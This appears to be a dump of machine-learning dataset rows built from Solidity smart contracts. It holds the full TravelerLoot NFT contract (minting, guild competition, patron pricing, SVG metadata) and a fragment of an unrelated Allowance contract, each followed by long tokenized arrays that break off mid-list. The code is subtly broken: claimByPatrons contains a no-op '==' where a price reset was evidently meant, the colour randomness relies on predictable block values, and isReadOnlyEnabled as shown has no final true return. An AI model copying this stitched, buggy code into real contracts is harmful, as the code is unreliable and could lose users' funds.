string private constant ERROR_GUILD_ALREADY_WHITELISTED = "Guild already whitelisted!";
string private constant ERROR_CANNOT_ADD_THIS_CONTRACT = "Not possible";
string private constant ERROR_NOT_ENTITLED = "Check conditions before whitelisting";
address private constant INITIAL_TREASURER = 0xce73904422880604e78591fD6c758B0D5106dD50; //TripsCommunity address
address private constant ADDRESS_OG_LOOT = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
address private constant PH_USERS = address(1);
address private constant PH_PATRONS = address(2);
address private constant PH_OG_LOOT = address(3);
address private constant PH_CONQUERORS = address(4);
address private constant PH_OWNER = address(0);
uint16 public constant MAX_ID = 10000;
uint16 public constant MAX_FOR_OWNER = 100;
uint16 public constant MAX_FOR_GUILDS = 900;
uint16 public constant LOCK_TIME = 5760 * 3; //it's three days
struct Traveler {
string familyType;
string familyName;
string color;
uint256 counter;
bool verified;
}
struct Conqueror {
address addr;
uint16 count;
bool elected;
}
struct Treasurer {
address old;
address current;
uint256 blockNumber;
}
struct Initial{
address addr;
string symbol;
}
Conqueror public conqueror;
Treasurer public treasurer;
bool public canChangeTreasurer = true;
mapping(address => Traveler) public detailsByAddress;
mapping(uint256 => address) public addressList;
uint8 public counterOwner = 0;
uint16 public counterStandard = 0;
uint16 public counterGuild = 0;
uint16 public counterPatrons = 0;
uint160 public priceForPatrons = INITIAL_PRICE_FOR_PATRONS;
uint256 public blockActivation = 0;
string[] private categories = ["ENVIRONMENT","TALENT","PLACE","CHARACTER","TRANSPORT","LANGUAGE","EXPERIENCE","OCCUPATION","ACCOMMODATION","BAG"];
address[] public whiteListedGuilds;
mapping(string => string[]) elements;
constructor() ERC721("TravelerLoot", "TRVLR") Ownable(){
uint256 blockNumber = block.number;
treasurer.old = address(0);
treasurer.current = INITIAL_TREASURER;
treasurer.blockNumber = blockNumber;
elements[categories[0]] = ["Beaches", "Mountains", "Urban", "Countrysides", "Lakes", "Rivers", "Farms", "Tropical areas", "Snowy places", "Forests", "Historical cities", "Islands", "Wilderness", "Deserts", "Natural parks", "Old towns", "Lakes", "Villages", "Forests", "Coral Reefs", "Wetlands", "Rainforests", "Grasslands", "Chaparral"];
elements[categories[1]] = ["Cooking", "Painting", "Basketball", "Tennis", "Football", "Soccer", "Climbing", "Surfing", "Photographer", "Fishing", "Painting", "Writing", "Dancing", "Architecture", "Singing", "Dancing", "Baking", "Running", "Sword-fighting", "Boxing", "Jumping", "Climbing", "Hiking", "Kitesurfing", "Sailing", "Comforting others", "Flipping NFTs", "Katana sword fighter", "Programming Solidity", "Creating Memes"];
elements[categories[2]] = ["Eiffel Tower", "Colosseum", "Taj Mahal", "Forbidden City", "Las Vegas", "Sagrada Familia", "Statue of Liberty", "Pompeii", "Tulum", "St. Peter's Basilica", "Bangkok", "Tower of London", "Alhambra", "San Marco Square", "Ciudad de las Artes y las Ciencias", "Moscow Kremlin", "Copacabana", "Great Wall of China", "Havana", "Arc de Triomphe", "Neuschwanstein Castle", "Machu Picchu", "Gili Islands", "Maya Bay", "Etherscan", "0x0000000000000000000000000000000000000000", "::1", "42.452483,-6.051345","Parcel 0, CityDAO", "Wyoming"];
elements[categories[3]] = ["Energetic", "Good-Natured", "Enthusiastic", "Challenging", "Charismatic", "Wise", "Modest", "Honest", "Protective", "Perceptive", "Providential", "Prudent", "Spontaneous", "Insightful", "Intelligent", "Intuitive", "Precise", "Sharing", "Simple", "Sociable", "Sophisticated", "Benevolent", "Admirable", "Brilliant", "Accessible", "Calm", "Capable", "Optimistic", "Respectful", "Responsible"];
elements[categories[4]] = ["Train", "Car", "Airplane", "Cruise", "4 wheel drive car", "Bus", "Convertible car", "Bicycle", "Motorbike", "Campervan", "Trailer", "Sailboat", "Electric car", "Sidecar", "Scooter", "Tram", "Cinquecento", "Hitch-hiking", "VW Beetle", "VW Bus", "Truck", "Off-road Vehicle", "Cab", "Lambo", "Ferrari", "Rocket", "DeLorean", "Kia Sedona", "Magic carpet", "Broomstick"];
elements[categories[5]] = ["English", "Mandarin Chinese", "Hindi", "Spanish", "Arabic", "French", "Russian", "Portuguese", "Indonesian", "German", "Japanese", "Turkish", "Korean", "Vietnamese", "Iranian Persian", "Swahili", "Javanese", "Italian", "Thai", "Filipino", "Burmese", "Polish", "Croatian", "Danish", "Serbian", "Slovenian", "Czech", "Slovakian", "Greek", "Hungarian"];
elements[categories[6]] = ["2", "3", "4", "5", "6", "7", "8", "9","10","100","0","1"];
elements[categories[7]] = ["Host", "Cook", "Writer", "DeeJay", "Employee", "Doctor", "Traveler", "Tour Guide", "Ship Pilot", "DAO Member", "Driver", "NFT flipper", "Meme creator", "Sales Manager", "Play 2 Earner", "NFT collector", "Hotel receptionist", "Hotel Manager", "Digital Nomad", "Crypto Trader", "Head of Growth", "PoS validator", "Lightning Network Developer", "Anonymous DeFi Protocol Lead", "Yacht owner (in bull markets)", "Web3 Engineer", "Blockchain Consultant", "Crypto VC", "Miner","Metaverse Realtor"];
elements[categories[8]] = ["Hotel", "Apartment", "Hostel", "Tent", "BnB", "Guest House", "Chalet", "Cottage", "Boat", "Caravan", "Motorhome", "5 stars Hotel", "Suite in 5 Stars Hotel", "Tipi", "Tree House", "Bungalow", "Ranch", "Co-living", "Gablefront cottage", "Longhouse", "Villa", "Yurt", "Housebarn", "Adobe House", "Castle", "Rammed earth", "Underground living", "Venetian palace", "Igloo", "Trullo"];
elements[categories[9]] = ["Pen", "eBook reader", "Water", "Cigarettes", "Swiss knife", "Mobile phone", "Notebook", "Laptop", "Digital Camera", "Lighter", "Earphones", "Beauty case", "Toothbrush", "Toothpaste", "Slippers", "Shirts", "Pants", "T-shirts", "Socks", "Underwear","Condoms"];
detailsByAddress[PH_USERS] = Traveler({color:BLACK,familyType:"",familyName:"",counter:0,verified:true});
detailsByAddress[PH_PATRONS] = Traveler({color:"#F87151",familyType:PATRON,familyName:"",counter:0,verified:true});
detailsByAddress[PH_OG_LOOT] = Traveler({color:GOLD,familyType:PATRON,familyName:OG_LOOT,counter:0,verified:true});
detailsByAddress[PH_CONQUERORS] = Traveler({color:WHITE,familyType:CONQUEROR,familyName:"",counter:0,verified:true});
detailsByAddress[PH_OWNER] = Traveler({color:BLACK,familyType:" ",familyName:"",counter:0,verified:true});
whiteListedGuilds.push(ADDRESS_OG_LOOT);
detailsByAddress[ADDRESS_OG_LOOT] = Traveler({color:PLATINUM,familyType:GUILD,familyName:OG_LOOT,counter:0,verified:true});
}
modifier checkStart() {
require(blockActivation > 0 && block.number >= blockActivation,ERROR_COME_BACK_LATER);
_;
}
/// @notice Everyone can claim an available tokenId for free (+ gas)
function claim() external nonReentrant checkStart {
require(owner() != _msgSender(),ERROR_OWNER_NOT_ALLOWED);
uint16 adjusted = 1 + counterStandard + MAX_FOR_GUILDS + MAX_FOR_OWNER;
require(adjusted <= MAX_ID, ERROR_TOKEN_ID_INVALID);
processing(adjusted,PH_USERS,1,false);
_safeMint(_msgSender(), adjusted);
counterStandard++;
}
/// @notice Guilds can use this function to mint a forged Traveler Loot.
/// Forged TLs are recognizable by a colored line on the NFT.
/// When all the forgeable TLs are minted, the guild who forged
/// the most becomes Conqueror. Its members gain access to
/// claimByConquerors() function
/// @param tokenId derivative's tokenId owned by the user
/// @param contractAddress derivative's address pretending to be guild
function claimByGuilds(uint256 tokenId, address contractAddress) external nonReentrant checkStart{
require(!conqueror.elected, ERROR_COMPETITION_ENDED);
Traveler storage details = detailsByAddress[contractAddress];
require(details.verified, ERROR_ADDRESS_NOT_VERIFIED);
IERC721 looter = IERC721(contractAddress);
require(tokenId > 0 && looter.ownerOf(tokenId) == _msgSender(), ERROR_NOT_THE_OWNER);
if (details.counter == 0 && contractAddress != whiteListedGuilds[0]){
details.color = pickAColor();
}
uint16 discretId = uint16(tokenId % MAX_FOR_GUILDS);
if (counterGuild == MAX_FOR_GUILDS - 1 ){
(conqueror.addr, conqueror.count) = whoIsWinning();
conqueror.elected = true;
detailsByAddress[PH_CONQUERORS].color = details.color;
detailsByAddress[PH_CONQUERORS].familyName = details.familyName;
}
// after this mint, the price for patrons will be increased by 1%
uint16 finalId = discretId == 0 ? MAX_FOR_GUILDS : discretId;
processing(finalId, contractAddress, 1, true);
_safeMint(_msgSender(), finalId);
counterGuild++;
}
/// @notice Becoming a Patron. Requires payment
function claimByPatrons() external payable nonReentrant checkStart{
require(msg.value >= priceForPatrons, ERROR_LOW_VALUE);
if (priceForPatrons < INITIAL_PRICE_FOR_PATRONS){
priceForPatrons == INITIAL_PRICE_FOR_PATRONS;
}
// After this mint, the price for next patrons will be increased by 5%
reservedMinting(PH_PATRONS, 5, true);
counterPatrons++;
}
/// @notice - Loot (for Adventurers) holders can become Patrons for free if:
/// . the Conqueror Guild is not yet elected,
/// . or Dominik Hoffman (@ dhof on twitter) is still younger than 40 y/o.
function claimByOGLooters() external nonReentrant checkStart{
require(IERC721(whiteListedGuilds[0]).balanceOf(_msgSender()) > 0, ERROR_NOT_THE_OWNER);
require(!conqueror.elected, ERROR_COMPETITION_ENDED);
require(block.timestamp <= DISCOUNT_EXPIRATION, ERROR_DOM_40TH_BIRTHDAY);
// After this mint, the price for patrons will be decreased by 5%
reservedMinting(PH_OG_LOOT, 5, false);
counterPatrons++;
}
/// @notice Conquerors can mint a CONQUEROR Traveler Loot for free + gas
/// only valid if they have not already minted a PATRON type before
function claimByConquerors() external nonReentrant checkStart{
require(conqueror.elected, ERROR_COMPETITION_ONGOING);
require(IERC721(conqueror.addr).balanceOf(_msgSender()) > 0, ERROR_NOT_THE_OWNER);
// After this mint, the price for patrons is increased by 2%
reservedMinting(PH_CONQUERORS, 2, true);
counterPatrons++;
}
/// @notice Owner can claim its reserved tokenIds.
function claimByOwner() external nonReentrant onlyOwner checkStart{
uint16 adjusted = 1 + counterOwner + MAX_FOR_GUILDS;
require(adjusted <= MAX_FOR_GUILDS + MAX_FOR_OWNER, ERROR_TOKEN_ID_INVALID);
//after this mint, the price for patrons will remain the same
processing(adjusted,PH_OWNER,0,true);
_safeMint(_msgSender(), adjusted);
counterOwner++;
}
/// @notice Owner can call this function to activate the mintings.
/// Note that the activation is delayed of LOCK_TIME blocks
function activateClaims() external onlyOwner{
require (blockActivation == 0, ERROR_ALREADY_ACTIVATED);
blockActivation = block.number + LOCK_TIME;
}
/// @notice Owner can order the withdraw all the funds coming from Patron mints
/// to the Treasurer address previously set.
function withdraw() external onlyOwner {
require(block.number >= treasurer.blockNumber, ERROR_COME_BACK_LATER);
canChangeTreasurer = true; //release treasurer
payable(treasurer.current).transfer(address(this).balance);
}
/// @notice . Owner calls this function with lockTreasurer = true if the intent is
/// to do a donation to a public-good project. Lock guarantees that nobody
/// (not even the owner) can change treasurer till the donation is made.
/// . Owner calls this function with lockTreasurer = false if the intent is
/// to keep open the chance to change the treasurer even if no any
/// withdrawal has been performed in the meanwhile.
/// @param newAddress the new treasurer address
/// @param lockTreasurer true if the the treasurer has to be locked till one withdraw is performed
function setTreasurer(address newAddress, bool lockTreasurer) external onlyOwner{
require(canChangeTreasurer, ERROR_WITHDRAW_NEEDED); //this is a safety measure for when donating to public goods
if (lockTreasurer){
canChangeTreasurer = false;
}
uint256 blockNumber = block.number + LOCK_TIME;
treasurer.old = treasurer.current;
treasurer.current = newAddress;
treasurer.blockNumber = blockNumber;
}
/// @notice You can register new Guilds to the whitelist, if:
/// - You own at least 50 Traveler Loots in your address
/// - Or if you have mint a Patron version by using claimByPatrons() or
/// claimByOGLooters() functions (no matter if you dont own them anymore)
/// - Or if you are the owner of this Contract
/// NOTE: no Guilds can be registered once the competition has ended
/// @param addresses List of contract addresses to be whitelisted for the game.
/// They'll be allowed to mint GUILD type Traveler Loot
function addNewGuildToWhiteList(address[] calldata addresses) nonReentrant external {
require(!conqueror.elected, ERROR_COMPETITION_ENDED);
for (uint8 j = 0; j< addresses.length; j++){
address addr = addresses[j];
require(address(this) != addr, ERROR_CANNOT_ADD_THIS_CONTRACT);
require(IERC721(address(this)).balanceOf(_msgSender()) > 50
|| _exists(uint160(_msgSender()))
|| owner() == _msgSender()
,ERROR_NOT_ENTITLED);
for (uint16 i = 0; i < whiteListedGuilds.length; i++){
require(whiteListedGuilds[i] != addr, ERROR_GUILD_ALREADY_WHITELISTED);
}
whiteListedGuilds.push(addr);
detailsByAddress[addr] = Traveler({color:BLACK,familyType:GUILD,familyName:familyName(addr),counter:0,verified:true});
}
}
/// @notice Given a Guild address, returns the count for that addr
/// @param addr Address of the Guild to be checked (the contract address)
/// @return Number of the NFT minted from the members of the given Guild address
function getCounterForAddress(address addr) external view returns (uint256){
Traveler memory details = detailsByAddress[addr];
require(details.verified, ERROR_ADDRESS_NOT_VERIFIED);
return details.counter;
}
/// @notice Call this function if you want to know the list of the current Guilds
/// return Array containing the addresses of all the whitelisted guilds
function getWhiteListedGuilds() external view returns (address[] memory){
return whiteListedGuilds;
}
/// @notice Call this function to see the element for a given tokenId and categoryId
/// @param tokenId The id of the Traveler Loot you want to check
/// @param categoryId The category of the Traveler Loot you want to check
/// @return The element of the given Token Id for the given categoryId
function getElement(uint256 tokenId, uint8 categoryId) public view returns (string memory){
return pluck(tokenId, categories[categoryId], elements[categories[categoryId]]);
}
/// @notice Provides metadata and image of the PATRONS and CONQUEROR
/// @param addr Address of the user who minted the PATRON or CONQUEROR you are checking
/// @return The json containing the NFT info
function addressURI(address addr) external view returns (string memory){
return tokenURI(uint160(addr));
}
/// @notice Provides metadata and image of the Traveler Loot
/// @param tokenId Token if of the Traveler Loot to process
/// @return The json containing the NFT info
function tokenURI(uint256 tokenId) override public view returns (string memory) {
Traveler memory details = detailsByAddress[addressList[tokenId]];
string[4] memory parts;
parts[0] = string(abi.encodePacked('<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.b { fill:white; font-family: serif; font-size: 14px; }</style> <rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="b">'));
parts[1] = string(abi.encodePacked(getElement(tokenId,0),'</text><text x="10" y="40" class="b">',getElement(tokenId,1),'</text><text x="10" y="60" class="b">',getElement(tokenId,2),'</text><text x="10" y="80" class="b">',getElement(tokenId,3),'</text><text x="10" y="100" class="b">',getElement(tokenId,4),'</text><text x="10" y="120" class="b">',getElement(tokenId,5)));
parts[2] = string(abi.encodePacked('</text><text x="10" y="140" class="b">',getElement(tokenId,6),'</text><text x="10" y="160" class="b">',getElement(tokenId,7),'</text><text x="10" y="180" class="b">',getElement(tokenId,8),'</text><text x="10" y="200" class="b">',getElement(tokenId,9),'</text>'));
parts[3] = string(abi.encodePacked('<line x1="0" x2="350" y1="300" y2="300" stroke="',details.color,'" stroke-width="4"/>','<text x="340" y="294" text-anchor="end" class="b">',details.familyType,'</text></svg>'));
string memory compact = string(abi.encodePacked(parts[0], parts[1], parts[2],parts[3]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Traveler #', toString(tokenId), '", "description": "Traveler Loot is a Loot derivative for the Travel Industry, generated and stored on chain. Feel free to use the Traveler Loot in any way you want", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(compact)), '","attributes":[',metadata(tokenId,details),']}'))));
return string(abi.encodePacked('data:application/json;base64,', json));
}
/// @notice Call this method to check the Guild which is owning the most Forged Traveler Loot
///
/// @return The address of the guild who has the most Forged Traveler Loot so far
/// @return The amount of Forged Traveler Loot minted by the Winning Guild so far
function whoIsWinning() public view returns (address, uint16){
if (conqueror.elected){
return (conqueror.addr,conqueror.count);
}
address winningLoot = whiteListedGuilds[0];
uint16 winningCount = uint16(detailsByAddress[winningLoot].counter);
for (uint8 i = 1; i < whiteListedGuilds.length; i++){
address addr = whiteListedGuilds[i];
(winningLoot, winningCount) = checkWinning(winningLoot,winningCount, addr, uint16(detailsByAddress[addr].counter));
}
return (winningLoot, winningCount);
}
/// @notice Call this function to get a random color using block difficulty, timestamp as seed
/// @return A string containing the HEX number of a random color
function pickAColor() internal view returns (string memory){
string[16] memory list = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"];
string memory color = "#";
for (uint8 i=0; i<6;i++){
uint rand = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, i )));
color = string(abi.encodePacked(color,list[rand % list.length]));
}
return color;
}
/// @notice This function calls an external NFT contract and gets the symbol to be used into the metadata
/// @param addr The address of the contract address to whitelist
/// @return The symbol of the given external contract address
function familyName(address addr) internal view returns (string memory){
return IERC721Metadata(addr).symbol();
}
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
/// @notice Update the PATRON price and the address counter
/// @param id TokenId minted
/// @param addr address Guild of the token to mint
/// @param percentage percentage number of the PATRON'price variability
/// @param isPositive true if the variability is positive, false if it's negative
function processing(uint256 id, address addr, uint8 percentage, bool isPositive) internal{
if (percentage != 0){
uint160 x = priceForPatrons / (100 / percentage);
priceForPatrons = isPositive ? priceForPatrons + x : priceForPatrons - x;
}
detailsByAddress[addr].counter++;
addressList[id] = addr;
}
/// @notice It mints the Traveler Loot using the address as tokenId.
/// Only particular cases can access to this:
/// - Users who decide to become Patrons by paying the patronPrice
/// - Conqueror Guild members, as the prize for have won the competition
/// - OG Loot owners, as privilegiate users till @ dhof 40 bday or till Conqueror Guild election
/// @param addr address Guild of the token to mint
/// @param percentage percentage number of the PATRON'price variability
/// @param isPositive true if the variability is positive, false if it's negative
function reservedMinting(address addr,uint8 percentage, bool isPositive) internal{
uint160 castedAddress = uint160(_msgSender());
require(castedAddress > MAX_ID, ERROR_ADDRESS_NOT_VERIFIED);
processing(castedAddress, addr, percentage, isPositive);
_safeMint(_msgSender(), castedAddress);
}
/// @notice Call this function to get pick the element for a given Traveler Loot id and category
/// @param tokenId TokenId
/// @param keyPrefix Seed/nounce of the randomity
/// @param sourceArray The list of all the elements
/// @return The element extracted
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
uint8 toHoundred = uint8(rand % 100);
uint8 delta = toHoundred > 95 ? 1 : toHoundred > 80 ? 2 : 3;
uint8 len = uint8(sourceArray.length);
uint8 x = len / 3;
uint8 min = len - (delta * x);
uint8 max = (len - 1) - ((delta - 1) * x);
uint8 rand2 = uint8((random(string(abi.encodePacked(msg.sender, toHoundred, keyPrefix ))) % (max - min + 1)) + min);
return sourceArray[rand2];
}
/// @dev This function processes and build the metadata for the given tokenId
/// @param tokenId TokenId
/// @param details The details to be used for filling the metadata
/// @return The json with the metadata to be appended to the full json
function metadata(uint256 tokenId, Traveler memory details) internal view returns (string memory){
string memory toRet = "";
for (uint8 i = 0; i < 10; i++){
toRet = string(abi.encodePacked(toRet,'{"trait_type":"', categories[i], '","value":"',getElement(tokenId,i),'"},'));
}
if (keccak256(abi.encodePacked(details.color)) != keccak256(abi.encodePacked(BLACK))) {
toRet = string(abi.encodePacked(toRet,'{"trait_type":"Type","value":"',details.familyType,'"}'));
toRet = string(abi.encodePacked(toRet,',{"trait_type":"Flag Color","value":"',details.color,'"}'));
toRet = string(abi.encodePacked(toRet,',{"trait_type":"',details.familyType,'","value":"',details.familyName,'"}'));
}
else{
toRet = string(abi.encodePacked(toRet,'{"trait_type":"Type","value":"EXPLORER"}'));
}
return toRet;
}
/// @dev This function compares two Guilds and check which has more Froged Guild already minted
/// @param winningAddress The legacy winning address (so far)
/// @param winningCount The amount for the legacy winning address (so far)
/// @param newAddress The new address to compare with legacy
/// @param newCount The new amount to compare with legacy
/// @return The new winning address after comparison
/// @return The new minted amount of winning address after comparison
function checkWinning(address winningAddress, uint16 winningCount, address newAddress, uint16 newCount) internal pure returns(address,uint16){
return newCount > winningCount ? (newAddress, newCount) : (winningAddress, winningCount);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
|
@notice Owner can call this function to activate the mintings. Note that the activation is delayed of LOCK_TIME blocks
|
function activateClaims() external onlyOwner{
require (blockActivation == 0, ERROR_ALREADY_ACTIVATED);
blockActivation = block.number + LOCK_TIME;
}
| 1,050,408 |
[
1,
5541,
848,
745,
333,
445,
358,
10235,
326,
312,
474,
899,
18,
11794,
3609,
716,
326,
10027,
353,
15278,
434,
14631,
67,
4684,
4398,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10235,
15925,
1435,
3903,
1338,
5541,
95,
203,
1377,
2583,
261,
2629,
14857,
422,
374,
16,
5475,
67,
1013,
20305,
67,
22271,
6344,
1769,
203,
1377,
1203,
14857,
273,
1203,
18,
2696,
397,
14631,
67,
4684,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/8453/0xF0363DBD4Efb76fC72Aa4df7D8b956269c9052A6/sources/contracts/scribes/Allowance.sol
|
* isReadOnlyEnabled This method is called during read only methods to determine if all the required events have fired. @param a the allowance in question. @return true if enabled, false otherwise./ if we are already written as enabled, then its done. check each event for completion, returning false if one isn't fired.
|
function isReadOnlyEnabled(Allowance memory a) internal view returns (bool) {
for(uint256 x = 0; x < a.requiredEvents.length; x++) {
if (!trustEventLog.firedEvents(a.requiredEvents[x])) {
return false;
}
}
}
| 11,538,596 |
[
1,
291,
12066,
1526,
1220,
707,
353,
2566,
4982,
855,
1338,
2590,
358,
4199,
309,
777,
326,
1931,
2641,
1240,
15950,
18,
225,
279,
326,
1699,
1359,
316,
5073,
18,
327,
638,
309,
3696,
16,
629,
3541,
18,
19,
309,
732,
854,
1818,
5941,
487,
3696,
16,
1508,
2097,
2731,
18,
866,
1517,
871,
364,
8364,
16,
5785,
629,
309,
1245,
5177,
1404,
15950,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
26249,
1526,
12,
7009,
1359,
3778,
279,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
203,
3639,
364,
12,
11890,
5034,
619,
273,
374,
31,
619,
411,
279,
18,
4718,
3783,
18,
2469,
31,
619,
27245,
288,
203,
5411,
309,
16051,
21879,
1133,
1343,
18,
74,
2921,
3783,
12,
69,
18,
4718,
3783,
63,
92,
22643,
288,
203,
7734,
327,
629,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
